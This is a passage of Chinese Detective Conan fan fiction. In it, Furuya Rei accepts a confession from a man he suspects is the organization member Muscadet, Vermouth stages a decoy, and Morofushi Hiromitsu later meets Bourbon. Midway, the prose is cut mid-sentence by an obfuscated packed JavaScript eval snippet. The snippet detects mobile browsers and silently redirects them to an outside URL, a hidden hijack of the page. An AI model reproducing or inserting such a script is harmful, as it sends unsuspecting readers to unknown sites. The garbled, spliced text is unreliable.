只是比起这些,降谷零更相信自己的直觉。 降谷零收回手,也没解释自己这个奇怪的举动,他笑了下,回答:“会啊。” 诶? 等等,等一下!北百川一瞪大了眼睛,完全没想到降谷零会给出这么一个回答。 zero真的听清他说的话了吗? 降谷零觉得北百川一变来变去的神情很有意思,慢条斯理地重复了一遍自己的话:“我说,我会答应。” 降谷零主动凑近,紫灰色眼眸里如蜂蜜般的亲昵自然流淌。 所有痕迹都可以掩盖,都可以想办法蒙混过关。但有一件事不行。 心脏跳动的声音压过了呼呼的海风。 如果北百川一不是密斯卡岱,那是好事。 如果是。降谷零心想,他就把人抓起来,好、好、拷、问。 这一回是他赢了。他的回答一定是密斯卡岱没有想到的。 14.第 14 章 北百川一何止是完全没有想到,他张开嘴站在那,海风灌进他嘴里,又带来降谷零的气息。 他猛地把嘴合上,觉得自己这样有点傻。 他被降谷零这样看着,感觉心脏里有只小鹿在乱撞,两人挨得那么近,zero的气息环绕,他摸了下鼻子,第一次不知道在这个时候应该说点什么。 降谷零打量着他的无措,眼里满是笑意,问:“你不是要和我表白吗?我现在答应了,你怎么看起来不是很高兴。” 不高兴。因为太奇怪了。北百川一心里涌起一点微妙的醋意,是身为密斯卡岱的占有欲突然爆发了。 zero是不是已经确定了他就是密斯卡岱?如果没有确定却接受了他的表白,他就会非常生气,大发雷霆然后作出一点失去理智的事情。 北百川一心里阴暗地想着,眼里也透着几分委屈,他说:“我当然高兴,但是总觉得安室先生好像不是因为喜欢我才答应的,更像是把我当成了什么人。” 降谷零没想到他看出来了,第二个反应却是你装什么呢密斯卡岱。他微笑,对于这个问题避而不答,反问:“所以北百川君不打算做我的男朋友吗?” 北百川一心想怎么可能,这么光明正大的关系,他肯定要占个位,他猛地伸手抱住降谷零,大声宣布:“安室先生已经是我的男朋友了!” 海风吹过来是冷的,带着海水腥咸的气息。 拥抱带着北百川一的气味一整个拥上来,是完全属于另一个人的温度。 这一瞬间降谷零迟疑了。北百川一如果不是密斯卡岱,他这样做似乎有些过分了。 北百川一比密斯卡岱有分寸多了,就算晋升了正牌男友也没有得意忘形,很快就松开了手。 两人在甲板上站了一会儿,一起看着陆地越靠越近,北百川一看着手机,像是在发短信,但等降谷零看过去的时候他就把手机收起来了,像是恰好,又像是有意想避开。 “在看什么?” 北百川一面不改色:“在告诉我的朋友我现在有对象了。” 他很快岔开话题,念念不舍地问:“安室先生还是要离开吗?”游轮不知不觉靠岸,工作人员开始组织游客下船。 “也不一定……”降谷零说着说着,声音逐渐消失,他的视线落在下船的队伍中,紧紧地盯着人群中的一人。 那人穿着一身简单的黑衣,带着兜帽,脸上戴着口罩,黑色短发和那天密斯卡岱的打扮几乎一模一样。一阵风吹过去,男人伸手随意地把兜帽扯上。 似乎感受到了降谷零的视线,男人回头看了看,视线扫了一圈,精准地落在了降谷零身上,像是认出了他,眨了眨眼,然后朝他抛出一个媚眼。 降谷零的手抓紧了栏杆。 混乱的思绪像风暴卷席整个头脑,他下意识看了眼身边的北百川一,北百川一正疑惑地看着他:“怎么了?” “没事。”降谷零强迫自己放松下来,他咬了下唇,很快有了决定。 北百川一就在他身边不会跑到哪里去,等回日本再好好调查也来得及。但是那个人就算密斯卡岱,也肯定是组织的人,他从那人身上感觉到了组织的气息,他需要跟上去想办法获得更多的线索。 降谷零的心思已经完全跟着疑似密斯卡岱的人飞走了,匆匆忙忙地和北百川一道别,迅速地挤进了下船的人群中。 北百川一看着他离开,脸上失落的表情在降谷零消失在视野中的时候变成了烦躁和阴郁。 他冷着脸拨通了贝尔摩德的电话:“我不是发邮件告诉了你行动取消吗?” “这样吗?”电话那边传来男人的声音,在说话之间丝滑地转为了贝尔摩德的本音,“我没看见。” 没看见?那邮件上面显示的已读是鬼读的吗?北百川一很恼火。 他承认确实假密斯卡岱的出现确实是他安排的,贝尔摩德演技很好,就算不露脸,也能够把他的感觉模仿得七七八八,远距离以假乱真不是问题。 按照他原本的计划,他以为自己会被zero拒绝,然后他就可以让密斯卡岱上线,报复一下zero,让zero对自己的猜想产生怀疑。 但他没想到zero会答应他。明明认定了他就是密斯卡岱,却还是答应了他。 “你做了多余的事。”北百川一冷冷地说。 “不就是一个玩笑吗?”贝尔摩德的笑声透过手机传进他耳中,北百川一都能够想象得出她现在一定站在某个角落,大肆对自他发出嘲笑。 北百川一决定结束挪威之旅后,就去美国给她添点乱子。 “我说,你这么在意这件事,不像你啊。”贝尔摩德刚下船,已经褪去了伪装,此时虽然穿着男装,却是女人的脸,低调地站在角落,视线穿过人群,落在正在找人的降谷零身上。 为了能够满足密斯卡岱的要求,她在口罩下可是也用了密斯卡岱的脸,那么费尽心思,结果还要被指责,她也有点不爽。 她眯了下眼,远远地打量着降谷零。身材和脸都很不错,智商也在线,密斯卡岱会喜欢也不奇怪。 只是看密斯卡岱现在的反应,这不像是简单的喜欢啊。 “关你屁事。”北百川一毫不客气、非常粗鲁地说。 “哼,我是在好心提醒你,让你不要太认真。”贝尔摩德翻了个北百川一看不见的白眼。 她等了好几秒,才等到北百川一的回答。 密斯卡岱在笑,声音玩味,带着漫不经心和轻视:“你想多了,不过是比较新的玩具。” 最好是这样。贝尔摩德听到电话被挂断了。她若有所思,心想或许连密斯卡岱自己都没有意识到,这一次他在玩具身上费的心思太多了。 希望密斯卡岱知道分寸。 不知为何,虽说她调查到的信息显示安室透同样是游走于灰色地带的侦探,但她总觉得安室透身上有一种她非常不喜欢的气息。 一种属于……老鼠的气味。 贝尔摩德想到这里不由失笑,她是被琴酒传染了吗?就算组织里真的进了老鼠,又和她有什么关系?就算密斯卡岱真的因为感情栽了大跟头,也和她没有关系。 她乐于看戏,只要不牵连到自己。 ---- 降谷零还是在上级的安排下潜入了组织。 密斯卡岱道破了他原本身份的绰号,按道理来说他不再适合潜入组织。让他潜入组织做卧底得到的结果可能只是耗费精力,对公安和他本人都没有好处。 但降谷零有着足够的理由。 首先是公安里没有人比他更加适合。再者是密斯卡岱虽然道破他身份,却并没有向组织说明这一点,密斯卡岱有所图谋,这件事有操作的空间。最后是,他需要弄清楚,为什么密斯卡岱会知道他的绰号,是否是组织在公安安插了卧底。 降谷零还是以安室透的身份进入了组织,在和密斯卡岱认识的两年后,他拿到了波本威士忌的代号。 -- [这次你的任务是和波本威士忌一起完成。]诸伏景光打开邮件,看见的就是一个新的代号。 说新也不算新。诸伏景光早在还没拿到代号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617065|172168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候就听说了波本威士忌的各种传闻。 一部分组织底层成员认为波本威士忌是个靠脸和身体拿到代号的成员,有着绝色的脸妖孽的身材和魅惑的声音,让早些年进入组织的密斯卡岱对他一见钟情,力排众议让他进入组织。 从此波本占着自己是密斯卡岱的情人,在组织里丝毫不要脸地搜集各类信息,擅长抓住人的把柄进行威胁,是个很可怕的情报人员。 ……这听起来像是某种流行小说的桥段。 另一部分组织成员则告诉他,波本威士忌和密斯卡岱的关系确实很不寻常,但波本威士忌本身的能力就足够吓人,完全不需要靠什么密斯卡岱,这一类人也在重复波本威士忌的危险,让他小心——小心密斯卡岱。 诸伏景光没有明白这个关联。 而组织代号成员对波本的看法有有所不同。诸伏景光拿到代号的时间不长,见过的代号成员不多,也不方便每一个都进行打听。 不过就目前搜集的信息来看,代号成员普遍认为波本并不是好惹的,和密斯卡岱没有什么关系,纯粹是因为波本是一个阴险、狡猾、冷血、不择手段上位的家伙。 这条邮件是临时发来的,组织一向如此,很多时候到了任务地点才告诉你合作的成员是谁。诸伏景光缓缓吐出一口气,把手机放回口袋,下意识摸了下背在身后的狙击枪。 不管波本是个怎样的人,只要他谨慎行事就好。诸伏景光想。 他开始想那些带着绯色的情报,一是为了缓解压力,二也是想从这些更有人情味的八卦信息中分析一下波本的形象。 他琢磨着,脑海里浮现一个长得很好看、声音很好听,但是十分阴险狡猾的的男性形象。 手机忽然在口袋震动了两下。诸伏景光拿出来,发现是新的邮件:[密斯卡岱负责善后。] [错啦,我起到一个什么也不做只在旁边看的作用~,我是密斯卡岱。] “你好啊,苏格兰。”陌生的声音出现在他耳边,诸伏景光警觉地抬头,看见把自己裹得严严实实的男人不知何时出现在他的面前。 “你好。”诸伏景光说,他从对方的语气中判断对方应该是密斯卡岱。 两人沉默地站在那,谁也不说话,诸伏景光有点不适应地被密斯卡岱毫不掩饰的目光打量着。 他神色平静地仍由密斯卡岱打量,淡定地问:“你在看什么?波本呢?” “他呀,还在路上。”密斯卡岱说,“我在看你的脸。” “……”诸伏景光有点想要转身就走。他能够接受组织成员的审视,但绝对不是这种。 好在密斯卡岱很快说了下去:“你知道吗?你不是波本喜欢的类型。” “?”诸伏景光心想。听起来密斯卡岱确实和传闻说的一样,有一点古怪。据说只有波本在的时候他才比较正常,所以波本什么时候来。 他明明看不清密斯卡岱的脸,但是不知道为什么,就是能够从密斯卡岱身上感受到对方浑身散发着:快来问我问题——这种感觉。 诸伏景光硬着头皮问:“为什么这么说?” “因为波本喜欢的是我这种。”北百川一得意洋洋,趁着降谷零没来,狠狠在他的幼驯染面前刷存在感。 “密斯卡岱。”另一道声音在他们身后响起——不知道为什么这个声音让诸伏景光感到有点熟悉。 诸伏景光几乎是松了口气,他赶紧转过身,想看看传说中的波本长什么样。 “……” 怎么这个波本,有一张和他幼驯染一模一样的脸?